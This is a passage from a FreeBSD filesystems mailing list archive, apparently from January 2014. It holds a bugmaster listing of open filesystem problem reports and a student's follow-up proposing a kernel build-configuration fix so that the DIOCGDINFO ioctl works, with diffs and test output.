From owner-freebsd-fs@FreeBSD.ORG Mon Jan 13 11:06:44 2014 Return-Path: Delivered-To: freebsd-fs@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A4C615FB for ; Mon, 13 Jan 2014 11:06:44 +0000 (UTC) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:1900:2254:206c::16:87]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 8346E113E for ; Mon, 13 Jan 2014 11:06:44 +0000 (UTC) Received: from freefall.freebsd.org (localhost [127.0.0.1]) by freefall.freebsd.org (8.14.7/8.14.7) with ESMTP id s0DB6iCA095822 for ; Mon, 13 Jan 2014 11:06:44 GMT (envelope-from owner-bugmaster@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.7/8.14.7/Submit) id s0DB6hBN095820 for freebsd-fs@FreeBSD.org; Mon, 13 Jan 2014 11:06:43 GMT (envelope-from owner-bugmaster@FreeBSD.org) Date: Mon, 13 Jan 2014 11:06:43 GMT Message-Id: <201401131106.s0DB6hBN095820@freefall.freebsd.org> X-Authentication-Warning: freefall.freebsd.org: gnats set sender to owner-bugmaster@FreeBSD.org using -f From: FreeBSD bugmaster To: freebsd-fs@FreeBSD.org Subject: Current problem reports assigned to freebsd-fs@FreeBSD.org X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Jan 2014 11:06:44 -0000 Note: to view an individual PR, use: http://www.freebsd.org/cgi/query-pr.cgi?pr=(number). The following is a listing of current problems submitted by FreeBSD users. These represent problem reports covering all versions including experimental development code and obsolete releases. S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/184478 fs [smbfs] mount_smbfs cannot read/write files o kern/182536 fs [zfs] zfs deadlock o kern/181966 fs [zfs] Kernel panic in ZFS I/O: solaris assert: BP_EQUA o kern/181834 fs [nfs] amd mounting NFS directories can drive a dead-lo o kern/181565 fs [swap] Problem with vnode-backed swap space. o kern/181377 fs [zfs] zfs recv causes an inconsistant pool o kern/181281 fs [msdosfs] stack trace after successfull 'umount /mnt' o kern/181082 fs [fuse] [ntfs] Write to mounted NTFS filesystem using F o kern/180979 fs [netsmb][patch]: Fix large files handling o kern/180876 fs [zfs] [hast] ZFS with trim,bio_flush or bio_delete loc o kern/180678 fs [NFS] succesfully exported filesystems being reported o kern/180438 fs [smbfs] [patch] mount_smbfs fails on arm because of wr p kern/180236 fs [zfs] [nullfs] Leakage free space using ZFS with nullf o kern/178854 fs [ufs] FreeBSD kernel crash in UFS s kern/178467 fs [zfs] [request] Optimized Checksum Code for ZFS o kern/178412 fs [smbfs] Coredump when smbfs mounted o kern/178388 fs [zfs] [patch] allow up to 8MB recordsize o kern/178387 fs [zfs] [patch] sparse files performance improvements o kern/178349 fs [zfs] zfs scrub on deduped data could be much less see o kern/178329 fs [zfs] extended attributes leak o kern/178238 fs [nullfs] nullfs don't release i-nodes on unlink. f kern/178231 fs [nfs] 8.3 nfsv4 client reports "nfsv4 client/server pr o kern/177985 fs [zfs] disk usage problem when copying from one zfs dat o kern/177971 fs [nfs] FreeBSD 9.1 nfs client dirlist problem w/ nfsv3, o kern/177966 fs [zfs] resilver completes but subsequent scrub reports o kern/177658 fs [ufs] FreeBSD panics after get full filesystem with uf o kern/177536 fs [zfs] zfs livelock (deadlock) with high write-to-disk o kern/177445 fs [hast] HAST panic o kern/177240 fs [zfs] zpool import failed with state UNAVAIL but all d o kern/176978 fs [zfs] [panic] zfs send -D causes "panic: System call i o kern/176857 fs [softupdates] [panic] 9.1-RELEASE/amd64/GENERIC panic o bin/176253 fs zpool(8): zfs pool indentation is misleading/wrong o kern/176141 fs [zfs] sharesmb=on makes errors for sharenfs, and still o kern/175950 fs [zfs] Possible deadlock in zfs after long uptime o kern/175897 fs [zfs] operations on readonly zpool hang o kern/175449 fs [unionfs] unionfs and devfs misbehaviour o kern/175179 fs [zfs] ZFS may attach wrong device on move o kern/175071 fs [ufs] [panic] softdep_deallocate_dependencies: unrecov o kern/174372 fs [zfs] Pagefault appears to be related to ZFS o kern/174315 fs [zfs] chflags uchg not supported o kern/174310 fs [zfs] root point mounting broken on CURRENT with multi o kern/174279 fs [ufs] UFS2-SU+J journal and filesystem corruption o kern/173830 fs [zfs] Brain-dead simple change to ZFS error descriptio o kern/173718 fs [zfs] phantom directory in zraid2 pool f kern/173657 fs [nfs] strange UID map with nfsuserd o kern/173363 fs [zfs] [panic] Panic on 'zpool replace' on readonly poo o kern/173136 fs [unionfs] mounting above the NFS read-only share panic o kern/172942 fs [smbfs] Unmounting a smb mount when the server became o kern/172348 fs [unionfs] umount -f of filesystem in use with readonly o kern/172334 fs [unionfs] unionfs permits recursive union mounts; caus o kern/171626 fs [tmpfs] tmpfs should be noisier when the requested siz o kern/171415 fs [zfs] zfs recv fails with "cannot receive incremental o kern/170945 fs [gpt] disk layout not portable between direct connect o bin/170778 fs [zfs] [panic] FreeBSD panics randomly o kern/170680 fs [nfs] Multiple NFS Client bug in the FreeBSD 7.4-RELEA o kern/170497 fs [xfs][panic] kernel will panic whenever I ls a mounted o kern/169945 fs [zfs] [panic] Kernel panic while importing zpool (afte o kern/169480 fs [zfs] ZFS stalls on heavy I/O o kern/169398 fs [zfs] Can't remove file with permanent error o kern/169339 fs panic while " : > /etc/123" o kern/169319 fs [zfs] zfs resilver can't complete o kern/168947 fs [nfs] [zfs] .zfs/snapshot directory is messed up when o kern/168942 fs [nfs] [hang] nfsd hangs after being restarted (not -HU o kern/168158 fs [zfs] incorrect parsing of sharenfs options in zfs (fs o kern/167979 fs [ufs] DIOCGDINFO ioctl does not work on 8.2 file syste o kern/167977 fs [smbfs] mount_smbfs results are differ when utf-8 or U o kern/167688 fs [fusefs] Incorrect signal handling with direct_io o kern/167685 fs [zfs] ZFS on USB drive prevents shutdown / reboot o kern/167612 fs [portalfs] The portal file system gets stuck inside po o kern/167272 fs [zfs] ZFS Disks reordering causes ZFS to pick the wron o kern/167260 fs [msdosfs] msdosfs disk was mounted the second time whe o kern/167109 fs [zfs] [panic] zfs diff kernel panic Fatal trap 9: gene o kern/167105 fs [nfs] mount_nfs can not handle source exports wiht mor o kern/167067 fs [zfs] [panic] ZFS panics the server o kern/167065 fs [zfs] boot fails when a spare is the boot disk o kern/167048 fs [nfs] [patch] RELEASE-9 crash when using ZFS+NULLFS+NF o kern/166912 fs [ufs] [panic] Panic after converting Softupdates to jo o kern/166851 fs [zfs] [hang] Copying directory from the mounted UFS di o kern/166477 fs [nfs] NFS data corruption. o kern/165950 fs [ffs] SU+J and fsck problem o kern/165521 fs [zfs] [hang] livelock on 1 Gig of RAM with zfs when 31 o kern/165392 fs Multiple mkdir/rmdir fails with errno 31 o kern/165087 fs [unionfs] lock violation in unionfs o kern/164472 fs [ufs] fsck -B panics on particular data inconsistency o kern/164370 fs [zfs] zfs destroy for snapshot fails on i386 and sparc o kern/164261 fs [nullfs] [patch] fix panic with NFS served from NULLFS o kern/164256 fs [zfs] device entry for volume is not created after zfs o kern/164184 fs [ufs] [panic] Kernel panic with ufs_makeinode o kern/163801 fs [md] [request] allow mfsBSD legacy installed in 'swap' o kern/163770 fs [zfs] [hang] LOR between zfs&syncer + vnlru leading to o kern/163501 fs [nfs] NFS exporting a dir and a subdir in that dir to o kern/162944 fs [coda] Coda file system module looks broken in 9.0 o kern/162860 fs [zfs] Cannot share ZFS filesystem to hosts with a hyph o kern/162751 fs [zfs] [panic] kernel panics during file operations o kern/162591 fs [nullfs] cross-filesystem nullfs does not work as expe o kern/162519 fs [zfs] "zpool import" relies on buggy realpath() behavi o kern/161968 fs [zfs] [hang] renaming snapshot with -r including a zvo o kern/161864 fs [ufs] removing journaling from UFS partition fails on o kern/161579 fs [smbfs] FreeBSD sometimes panics when an smb share is o kern/161533 fs [zfs] [panic] zfs receive panic: system ioctl returnin o kern/161438 fs [zfs] [panic] recursed on non-recursive spa_namespace_ o kern/161424 fs [nullfs] __getcwd() calls fail when used on nullfs mou o kern/161280 fs [zfs] Stack overflow in gptzfsboot o kern/161205 fs [nfs] [pfsync] [regression] [build] Bug report freebsd o kern/161169 fs [zfs] [panic] ZFS causes kernel panic in dbuf_dirty o kern/161112 fs [ufs] [lor] filesystem LOR in FreeBSD 9.0-BETA3 o kern/160893 fs [zfs] [panic] 9.0-BETA2 kernel panic f kern/160860 fs [ufs] Random UFS root filesystem corruption with SU+J o kern/160801 fs [zfs] zfsboot on 8.2-RELEASE fails to boot from root-o o kern/160790 fs [fusefs] [panic] VPUTX: negative ref count with FUSE o kern/160777 fs [zfs] [hang] RAID-Z3 causes fatal hang upon scrub/impo o kern/160706 fs [zfs] zfs bootloader fails when a non-root vdev exists o kern/160591 fs [zfs] Fail to boot on zfs root with degraded raidz2 [r o kern/160410 fs [smbfs] [hang] smbfs hangs when transferring large fil o kern/160283 fs [zfs] [patch] 'zfs list' does abort in make_dataset_ha o kern/159930 fs [ufs] [panic] kernel core o kern/159402 fs [zfs][loader] symlinks cause I/O errors o kern/159357 fs [zfs] ZFS MAXNAMELEN macro has confusing name (off-by- o kern/159356 fs [zfs] [patch] ZFS NAME_ERR_DISKLIKE check is Solaris-s o kern/159351 fs [nfs] [patch] - divide by zero in mountnfs() o kern/159251 fs [zfs] [request]: add FLETCHER4 as DEDUP hash option o kern/159077 fs [zfs] Can't cd .. with latest zfs version o kern/159048 fs [smbfs] smb mount corrupts large files o kern/159045 fs [zfs] [hang] ZFS scrub freezes system o kern/158839 fs [zfs] ZFS Bootloader Fails if there is a Dead Disk o kern/158802 fs amd(8) ICMP storm and unkillable process. o kern/158231 fs [nullfs] panic on unmounting nullfs mounted over ufs o f kern/157929 fs [nfs] NFS slow read o kern/157399 fs [zfs] trouble with: mdconfig force delete && zfs strip o kern/157179 fs [zfs] zfs/dbuf.c: panic: solaris assert: arc_buf_remov o kern/156797 fs [zfs] [panic] Double panic with FreeBSD 9-CURRENT and o kern/156781 fs [zfs] zfs is losing the snapshot directory, p kern/156545 fs [ufs] mv could break UFS on SMP systems o kern/156193 fs [ufs] [hang] UFS snapshot hangs && deadlocks processes o kern/156039 fs [nullfs] [unionfs] nullfs + unionfs do not compose, re o kern/155615 fs [zfs] zfs v28 broken on sparc64 -current o kern/155587 fs [zfs] [panic] kernel panic with zfs p kern/155411 fs [regression] [8.2-release] [tmpfs]: mount: tmpfs : No o kern/155199 fs [ext2fs] ext3fs mounted as ext2fs gives I/O errors o bin/155104 fs [zfs][patch] use /dev prefix by default when importing o kern/154930 fs [zfs] cannot delete/unlink file from full volume -> EN o kern/154828 fs [msdosfs] Unable to create directories on external USB o kern/154491 fs [smbfs] smb_co_lock: recursive lock for object 1 p kern/154228 fs [md] md getting stuck in wdrain state o kern/153996 fs [zfs] zfs root mount error while kernel is not located o kern/153753 fs [zfs] ZFS v15 - grammatical error when attempting to u o kern/153716 fs [zfs] zpool scrub time remaining is incorrect o kern/153695 fs [patch] [zfs] Booting from zpool created on 4k-sector o kern/153680 fs [xfs] 8.1 failing to mount XFS partitions o kern/153418 fs [zfs] [panic] Kernel Panic occurred writing to zfs vol o kern/153351 fs [zfs] locking directories/files in ZFS o bin/153258 fs [patch][zfs] creating ZVOLs requires `refreservation' s kern/153173 fs [zfs] booting from a gzip-compressed dataset doesn't w o bin/153142 fs [zfs] ls -l outputs `ls: ./.zfs: Operation not support o kern/153126 fs [zfs] vdev failure, zpool=peegel type=vdev.too_small o kern/152022 fs [nfs] nfs service hangs with linux client [regression] o kern/151942 fs [zfs] panic during ls(1) zfs snapshot directory o kern/151905 fs [zfs] page fault under load in /sbin/zfs o bin/151713 fs [patch] Bug in growfs(8) with respect to 32-bit overfl o kern/151648 fs [zfs] disk wait bug o kern/151629 fs [fs] [patch] Skip empty directory entries during name o kern/151330 fs [zfs] will unshare all zfs filesystem after execute a o kern/151326 fs [nfs] nfs exports fail if netgroups contain duplicate o kern/151251 fs [ufs] Can not create files on filesystem with heavy us o kern/151226 fs [zfs] can't delete zfs snapshot o kern/150503 fs [zfs] ZFS disks are UNAVAIL and corrupted after reboot o kern/150501 fs [zfs] ZFS vdev failure vdev.bad_label on amd64 o kern/150390 fs [zfs] zfs deadlock when arcmsr reports drive faulted o kern/150336 fs [nfs] mountd/nfsd became confused; refused to reload n o kern/149208 fs mksnap_ffs(8) hang/deadlock o kern/149173 fs [patch] [zfs] make OpenSolaris installa o kern/149015 fs [zfs] [patch] misc fixes for ZFS code to build on Glib o kern/149014 fs [zfs] [patch] declarations in ZFS libraries/utilities o kern/149013 fs [zfs] [patch] make ZFS makefiles use the libraries fro o kern/148504 fs [zfs] ZFS' zpool does not allow replacing drives to be o kern/148490 fs [zfs]: zpool attach - resilver bidirectionally, and re o kern/148368 fs [zfs] ZFS hanging forever on 8.1-PRERELEASE o kern/148138 fs [zfs] zfs raidz pool commands freeze o kern/147903 fs [zfs] [panic] Kernel panics on faulty zfs device o kern/147881 fs [zfs] [patch] ZFS "sharenfs" doesn't allow different " o kern/147420 fs [ufs] [panic] ufs_dirbad, nullfs, jail panic (corrupt o kern/146941 fs [zfs] [panic] Kernel Double Fault - Happens constantly o kern/146786 fs [zfs] zpool import hangs with checksum errors o kern/146708 fs [ufs] [panic] Kernel panic in softdep_disk_write_compl o kern/146528 fs [zfs] Severe memory leak in ZFS on i386 o kern/146502 fs [nfs] FreeBSD 8 NFS Client Connection to Server o kern/145750 fs [unionfs] [hang] unionfs locks the machine s kern/145712 fs [zfs] cannot offline two drives in a raidz2 configurat o kern/145411 fs [xfs] [panic] Kernel panics shortly after mounting an f bin/145309 fs bsdlabel: Editing disk label invalidates the whole dev o kern/145272 fs [zfs] [panic] Panic during boot when accessing zfs on o kern/145246 fs [ufs] dirhash in 7.3 gratuitously frees hashes when it o kern/145238 fs [zfs] [panic] kernel panic on zpool clear tank o kern/145229 fs [zfs] Vast differences in ZFS ARC behavior between 8.0 o kern/145189 fs [nfs] nfsd performs abysmally under load o kern/144929 fs [ufs] [lor] vfs_bio.c + ufs_dirhash.c p kern/144447 fs [zfs] sharenfs fsunshare() & fsshare_main() non functi o kern/144416 fs [panic] Kernel panic on online filesystem optimization s kern/144415 fs [zfs] [panic] kernel panics on boot after zfs crash o kern/144234 fs [zfs] Cannot boot machine with recent gptzfsboot code o kern/143825 fs [nfs] [panic] Kernel panic on NFS client o bin/143572 fs [zfs] zpool(1): [patch] The verbose output from iostat o kern/143212 fs [nfs] NFSv4 client strange work ... o kern/143184 fs [zfs] [lor] zfs/bufwait LOR o kern/142878 fs [zfs] [vfs] lock order reversal o kern/142489 fs [zfs] [lor] allproc/zfs LOR o kern/142466 fs Update 7.2 -> 8.0 on Raid 1 ends with screwed raid [re o kern/142306 fs [zfs] [panic] ZFS drive (from OSX Leopard) causes two o kern/142068 fs [ufs] BSD labels are got deleted spontaneously o kern/141950 fs [unionfs] [lor] ufs/unionfs/ufs Lock order reversal o kern/141897 fs [msdosfs] [panic] Kernel panic. msdofs: file name leng o kern/141463 fs [nfs] [panic] Frequent kernel panics after upgrade fro o kern/141091 fs [patch] [nullfs] fix panics with DIAGNOSTIC enabled o kern/141086 fs [nfs] [panic] panic("nfs: bioread, not dir") on FreeBS o kern/141010 fs [zfs] "zfs scrub" fails when backed by files in UFS2 o kern/140888 fs [zfs] boot fail from zfs root while the pool resilveri o kern/140661 fs [zfs] [patch] /boot/loader fails to work on a GPT/ZFS- o kern/140640 fs [zfs] snapshot crash o kern/140068 fs [smbfs] [patch] smbfs does not allow semicolon in file o kern/139725 fs [zfs] zdb(1) dumps core on i386 when examining zpool c o kern/139715 fs [zfs] vfs.numvnodes leak on busy zfs p bin/139651 fs [nfs] mount(8): read-only remount of NFS volume does n o kern/139407 fs [smbfs] [panic] smb mount causes system crash if remot o kern/138662 fs [panic] ffs_blkfree: freeing free block o kern/138421 fs [ufs] [patch] remove UFS label limitations o kern/138202 fs mount_msdosfs(1) see only 2Gb o kern/137588 fs [unionfs] [lor] LOR nfs/ufs/nfs o kern/136968 fs [ufs] [lor] ufs/bufwait/ufs (open) o kern/136945 fs [ufs] [lor] filedesc structure/ufs (poll) o kern/136944 fs [ffs] [lor] bufwait/snaplk (fsync) o kern/136873 fs [ntfs] Missing directories/files on NTFS volume p kern/136470 fs [nfs] Cannot mount / in read-only, over NFS o kern/135546 fs [zfs] zfs.ko module doesn't ignore zpool.cache filenam o kern/135469 fs [ufs] [panic] kernel crash on md operation in ufs_dirb o kern/135050 fs [zfs] ZFS clears/hides disk errors on reboot o kern/134491 fs [zfs] Hot spares are rather cold... o kern/133676 fs [smbfs] [panic] umount -f'ing a vnode-based memory dis p kern/133174 fs [msdosfs] [patch] msdosfs must support multibyte inter o kern/132960 fs [ufs] [panic] panic:ffs_blkfree: freeing free frag o kern/132397 fs reboot causes filesystem corruption (failure to sync b o kern/132331 fs [ufs] [lor] LOR ufs and syncer o kern/132237 fs [msdosfs] msdosfs has problems to read MSDOS Floppy o kern/132145 fs [panic] File System Hard Crashes o kern/131441 fs [unionfs] [nullfs] unionfs and/or nullfs not combineab o kern/131360 fs [nfs] poor scaling behavior of the NFS server under lo o kern/131342 fs [nfs] mounting/unmounting of disks causes NFS to fail o bin/131341 fs makefs: error "Bad file descriptor" on the mount poin o kern/130920 fs [msdosfs] cp(1) takes 100% CPU time while copying file o kern/130210 fs [nullfs] Error by check nullfs o kern/129760 fs [nfs] after 'umount -f' of a stale NFS share FreeBSD l o kern/129488 fs [smbfs] Kernel "bug" when using smbfs in smbfs_smb.c: o kern/129231 fs [ufs] [patch] New UFS mount (norandom) option - mostly o kern/129152 fs [panic] non-userfriendly panic when trying to mount(8) o kern/127787 fs [lor] [ufs] Three LORs: vfslock/devfs/vfslock, ufs/vfs o bin/127270 fs fsck_msdosfs(8) may crash if BytesPerSec is zero o kern/127029 fs [panic] mount(8): trying to mount a write protected zi o kern/126973 fs [unionfs] [hang] System hang with unionfs and init chr o kern/126553 fs [unionfs] unionfs move directory problem 2 (files appe o kern/126287 fs [ufs] [panic] Kernel panics while mounting an UFS file o kern/125895 fs [ffs] [panic] kernel: panic: ffs_blkfree: freeing free s kern/125738 fs [zfs] [request] SHA256 acceleration in ZFS o kern/123939 fs [msdosfs] corrupts new files o bin/123574 fs [unionfs] df(1) -t option destroys info for unionfs (a o kern/122380 fs [ffs] ffs_valloc:dup alloc (Soekris 4801/7.0/USB Flash o bin/122172 fs [fs]: amd(8) automount daemon dies on 6.3-STABLE i386, o bin/121898 fs [nullfs] pwd(1)/getcwd(2) fails with Permission denied o kern/121385 fs [unionfs] unionfs cross mount -> kernel panic o bin/121072 fs [smbfs] mount_smbfs(8) cannot normally convert the cha o kern/120483 fs [ntfs] [patch] NTFS filesystem locking changes o kern/120482 fs [ntfs] [patch] Sync style changes between NetBSD and F o kern/118912 fs [2tb] disk sizing/geometry problem with large array o kern/118713 fs [minidump] [patch] Display media size required for a k o kern/118318 fs [nfs] NFS server hangs under special circumstances o bin/118249 fs [ufs] mv(1): moving a directory changes its mtime o kern/118126 fs [nfs] [patch] Poor NFS server write performance o kern/118107 fs [ntfs] [panic] Kernel panic when accessing a file at N o kern/117954 fs [ufs] dirhash on very large directories blocks the mac o bin/117315 fs [smbfs] mount_smbfs(8) and related options can't mount o kern/117158 fs [zfs] zpool scrub causes panic if geli vdevs detach on o bin/116980 fs [msdosfs] [patch] mount_msdosfs(8) resets some flags f o conf/116931 fs lack of fsck_cd9660 prevents mounting iso images with o kern/116583 fs [ffs] [hang] System freezes for short time when using o bin/115361 fs [zfs] mount(8) gets into a state where it won't set/un o kern/114955 fs [cd9660] [patch] [request] support for mask,dirmask,ui o kern/114847 fs [ntfs] [patch] [request] dirmask support for NTFS ala o kern/114676 fs [ufs] snapshot creation panics: snapacct_ufs2: bad blo o bin/114468 fs [patch] [request] add -d option to umount(8) to detach o kern/113852 fs [smbfs] smbfs does not properly implement DFS referral o bin/113838 fs [patch] [request] mount(8): add support for relative p o bin/113049 fs [patch] [request] make quot(8) use getopt(3) and show o kern/112658 fs [smbfs] [patch] smbfs and caching problems (resolves b o kern/111843 fs [msdosfs] Long Names of files are incorrectly created o kern/111782 fs [ufs] dump(8) fails horribly for large filesystems s bin/111146 fs [2tb] fsck(8) fails on 6T filesystem o bin/107829 fs [2TB] fdisk(8): invalid boundary checking in fdisk / w o kern/106107 fs [ufs] left-over fsck_snapshot after unfinished backgro o kern/104406 fs [ufs] Processes get stuck in "ufs" state under persist o kern/103035 fs [ntfs] Directories in NTFS mounted disc images appear o kern/101324 fs [smbfs] smbfs sometimes not case sensitive when it's s o kern/99290 fs [ntfs] mount_ntfs ignorant of cluster sizes s bin/97498 fs [request] newfs(8) has no option to clear the first 12 o kern/97377 fs [ntfs] [patch] syntax cleanup for ntfs_ihash.c o kern/95222 fs [cd9660] File sections on ISO9660 level 3 CDs ignored o kern/94849 fs [ufs] rename on UFS filesystem is not atomic o bin/94810 fs fsck(8) incorrectly reports 'file system marked clean' o kern/94769 fs [ufs] Multiple file deletions on multi-snapshotted fil o kern/94733 fs [smbfs] smbfs may cause double unlock o kern/93942 fs [vfs] [patch] panic: ufs_dirbad: bad dir (patch from D o kern/92272 fs [ffs] [hang] Filling a filesystem while creating a sna o kern/91134 fs [smbfs] [patch] Preserve access and modification time a kern/90815 fs [smbfs] [patch] SMBFS with character conversions somet o kern/88657 fs [smbfs] windows client hang when browsing a samba shar o kern/88555 fs [panic] ffs_blkfree: freeing free frag on AMD 64 o bin/87966 fs [patch] newfs(8): introduce -A flag for newfs to enabl o kern/87859 fs [smbfs] System reboot while umount smbfs. o kern/86587 fs [msdosfs] rm -r /PATH fails with lots of small files o bin/85494 fs fsck_ffs: unchecked use of cg_inosused macro etc. o kern/80088 fs [smbfs] Incorrect file time setting on NTFS mounted vi o bin/74779 fs Background-fsck checks one filesystem twice and omits o kern/73484 fs [ntfs] Kernel panic when doing `ls` from the client si o bin/73019 fs [ufs] fsck_ufs(8) cannot alloc 607016868 bytes for ino o kern/71774 fs [ntfs] NTFS cannot "see" files on a WinXP filesystem o bin/70600 fs fsck(8) throws files away when it can't grow lost+foun o kern/68978 fs [panic] [ufs] crashes with failing hard disk, loose po o kern/67326 fs [msdosfs] crash after attempt to mount write protected o kern/65920 fs [nwfs] Mounted Netware filesystem behaves strange o kern/65901 fs [smbfs] [patch] smbfs fails fsx write/truncate-down/tr o kern/61503 fs [smbfs] mount_smbfs does not work as non-root o kern/55617 fs [smbfs] Accessing an nsmb-mounted drive via a smb expo o kern/51685 fs [hang] Unbounded inode allocation causes kernel to loc o kern/36566 fs [smbfs] System reboot with dead smb mount and umount o bin/27687 fs fsck(8) wrapper is not properly passing options to fsc o kern/18874 fs [2TB] 32bit NFS servers export wrong negative values t o kern/9619 fs [nfs] Restarting mountd kills existing mounts 334 problems total. From owner-freebsd-fs@FreeBSD.ORG Mon Jan 13 15:00:01 2014 Return-Path: Delivered-To: freebsd-fs@smarthost.ysv.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AA82374D for ; Mon, 13 Jan 2014 15:00:01 +0000 (UTC) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:1900:2254:206c::16:87]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 95E1A169F for ; Mon, 13 Jan 2014 15:00:01 +0000 (UTC) Received: from freefall.freebsd.org (localhost [127.0.0.1]) by freefall.freebsd.org (8.14.7/8.14.7) with ESMTP id s0DF01WQ051828 for ; Mon, 13 Jan 2014 15:00:01 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.7/8.14.7/Submit) id s0DF01g1051827; Mon, 13 Jan 2014 15:00:01 GMT (envelope-from gnats) Date: Mon, 13 Jan 2014 15:00:01 GMT Message-Id: <201401131500.s0DF01g1051827@freefall.freebsd.org> To: freebsd-fs@FreeBSD.org Cc: From: Fahad Ahmed Subject: Re: kern/167979: [ufs] DIOCGDINFO ioctl does not work on 8.2 file systems X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: Fahad Ahmed List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Jan 2014 15:00:01 -0000 The following reply was made to PR kern/167979; it has been noted by GNATS. From: Fahad Ahmed To: bug-followup@FreeBSD.org, spencer_minear@mcafee.com Cc: Subject: Re: kern/167979: [ufs] DIOCGDINFO ioctl does not work on 8.2 file systems Date: Mon, 13 Jan 2014 06:55:37 -0800 Bug 167979 states that ioctl(fd, DIOCGDINFO, &dl) fails with error: = 'Inappropriate ioctl for device'. The reason for failure of ioctl call = with DIOCGDINFO option is that Makefile used to build kernel image does = not have /usr/src/sys/geom/geom_bsd.c and = /usr/src/sys/geom/geom_bsd_enc.c files included in it. When these two = files are included in the Makefile and information is added for how to = make object files of these files and how to link them with kernel image, = DIOCGDINFO option works fine when used with ioctl. To add these files in Makefile automatically, "/usr/src/sys/conf/files" = has to be changed as follows: # diff -u /usr/src/sys/conf/files_org /usr/src/sys/conf/files --- /usr/src/sys/conf/files_org 2012-09-20 23:47:07.000000000 -0700 +++ /usr/src/sys/conf/files 2012-09-20 23:48:04.000000000 -0700 @@ -2011,8 +2011,8 @@ geom/eli/pkcs5v2.c optional geom_eli geom/gate/g_gate.c optional geom_gate geom/geom_aes.c optional geom_aes -geom/geom_bsd.c optional geom_bsd -geom/geom_bsd_enc.c optional geom_bsd +geom/geom_bsd.c standard +geom/geom_bsd_enc.c standard geom/geom_ccd.c optional ccd | geom_ccd geom/geom_ctl.c standard geom/geom_dev.c standard After these changes, automatically generated Makefile will have = inclusion of "/usr/src/sys/geom/geom_bsd.c" and = "/usr/src/sys/geom/geom_bsd_enc.c" files. =20 Difference in Makefile generated by making above changes in = "/usr/src/sys/conf/files": # diff -u Makefile ../BUG_FIX/Makefile | grep geom - pseudofs_fileno.o pseudofs_vncache.o pseudofs_vnops.o geom_ctl.o = \ - geom_dev.o geom_disk.o geom_dump.o geom_event.o geom_io.o \ - geom_kern.o geom_slice.o geom_subr.o geom_vfs.o g_label.o \ + pseudofs_fileno.o pseudofs_vncache.o pseudofs_vnops.o geom_bsd.o = \ + geom_bsd_enc.o geom_ctl.o geom_dev.o geom_disk.o geom_dump.o \ + geom_event.o geom_io.o geom_kern.o geom_slice.o geom_subr.o \ + geom_vfs.o g_label.o g_label_ext2fs.o g_label_iso9660.o \ - $S/fs/pseudofs/pseudofs_vnops.c $S/geom/geom_ctl.c \ - $S/geom/geom_dev.c $S/geom/geom_disk.c $S/geom/geom_dump.c \ - $S/geom/geom_event.c $S/geom/geom_io.c $S/geom/geom_kern.c \ - $S/geom/geom_slice.c $S/geom/geom_subr.c $S/geom/geom_vfs.c \ - $S/geom/label/g_label.c $S/geom/label/g_label_ext2fs.c \ - $S/geom/label/g_label_iso9660.c $S/geom/label/g_label_msdosfs.c = \ - $S/geom/label/g_label_ntfs.c $S/geom/label/g_label_reiserfs.c \ - $S/geom/label/g_label_ufs.c $S/geom/label/g_label_gpt.c \ - $S/geom/part/g_part.c $S/geom/part/g_part_bsd.c \ - $S/geom/part/g_part_ebr.c $S/geom/part/g_part_gpt.c \ - $S/geom/part/g_part_mbr.c $S/isa/isa_common.c $S/isa/isahint.c \ + $S/fs/pseudofs/pseudofs_vnops.c $S/geom/geom_bsd.c \ + $S/geom/geom_bsd_enc.c $S/geom/geom_ctl.c $S/geom/geom_dev.c \ + $S/geom/geom_disk.c $S/geom/geom_dump.c $S/geom/geom_event.c \ + $S/geom/geom_io.c $S/geom/geom_kern.c $S/geom/geom_slice.c \ + $S/geom/geom_subr.c $S/geom/geom_vfs.c $S/geom/label/g_label.c \ + $S/geom/label/g_label_ext2fs.c $S/geom/label/g_label_iso9660.c \ + $S/geom/label/g_label_msdosfs.c $S/geom/label/g_label_ntfs.c \ + $S/geom/label/g_label_reiserfs.c $S/geom/label/g_label_ufs.c \ + $S/geom/label/g_label_gpt.c $S/geom/part/g_part.c \ + $S/geom/part/g_part_bsd.c $S/geom/part/g_part_ebr.c \ + $S/geom/part/g_part_gpt.c $S/geom/part/g_part_mbr.c \ +geom_bsd.ln: $S/geom/geom_bsd.c +geom_bsd.o: $S/geom/geom_bsd.c +geom_bsd_enc.ln: $S/geom/geom_bsd_enc.c +geom_bsd_enc.o: $S/geom/geom_bsd_enc.c geom_ctl.ln: $S/geom/geom_ctl.c =20 Fix was tested on FreeBSD 8.3, with the test program provided with the = bug. Following are the results: Before Fix: # ./bug ad0s1a bug: DIOCGDIFNO failed on 'ad0s1a': Inappropriate ioctl for device # ./bug ad0s1b bug: DIOCGDIFNO failed on 'ad0s1b': Inappropriate ioctl for device After Fix: # ./bug ad0s1a Filesystem type 4.2BSD # ./bug ad0s1b Filesystem type swap Fahad Ahmed, Engineer Dorr H. Clark, advisor COEN 284, Operating Systems Case Study Santa Clara University From owner-freebsd-fs@FreeBSD.ORG Tue Jan 14 11:47:15 2014 Return-Path: Delivered-To: freebsd-fs@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using 